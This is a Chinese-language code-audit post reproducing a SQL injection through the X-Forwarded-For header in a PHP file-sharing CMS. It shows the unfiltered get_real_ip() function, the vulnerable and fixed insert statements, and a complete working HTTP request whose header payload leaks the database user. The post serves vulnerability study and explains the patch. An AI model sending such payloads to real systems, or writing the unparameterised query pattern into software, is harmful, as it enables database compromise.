天天看點

代碼審計之頭部注入X-Forwarded-For

頭部的資訊也有可能存在注入隻不過比較容易被大家忽略。今天freebuff看到了一篇文章覺得不錯。就自己下來重制了下(https://www.freebuf.com/column/179363.html)。cms的名字叫樹洞https://yun.aoaoao.me.下載下傳下來就會發現漏洞已經修複了。不過這不重要我翻了下github别人fork的找到了原來的修改。

  漏洞在includes/function.php 裡的 get_real_ip() 這個函數裡面,這個裡面沒有做任何防注入的過濾

function get_real_ip(){
$ip=false;
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
for ($i = 0; $i < count($ips); $i++) {
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}      

在全局搜尋下用到的檔案發現save.php 23行調用了這個函數。原來漏洞在下方30行上下

修改前:

$stmt = $con->prepare("INSERT INTO  `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', '$ip', '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('s', $ming);      

修改後:

$stmt = $con->prepare("INSERT INTO  `$sqlname`.`sd_file` (`ming` ,`key1` ,`uploadip` ,`uploadtime` ,`cishuo` ,`upuser` ,`policyid`)VALUES (?, '$rand', ?, '$dd', '0' , '$uploadUser', '$policyId');");
$stmt->bind_param('ss', $ming,$ip);      

對比發現$ip被綁定了。用原來的進行實驗直接對save.php進行post

POST /includes/save.php HTTP/1.1

Host: shudong.com

User-Agent: Mozilla/5.0  Firefox/40.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=xxxxxxx

Connection: close

X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

ming=aa

接着去前面http://xxxx/views/userFiles.php(自己注冊登陸先哦)檢視就會發現日期變成了root或者其他資料庫使用者名。

隻要在修改user()就可以達到不同的注入目的。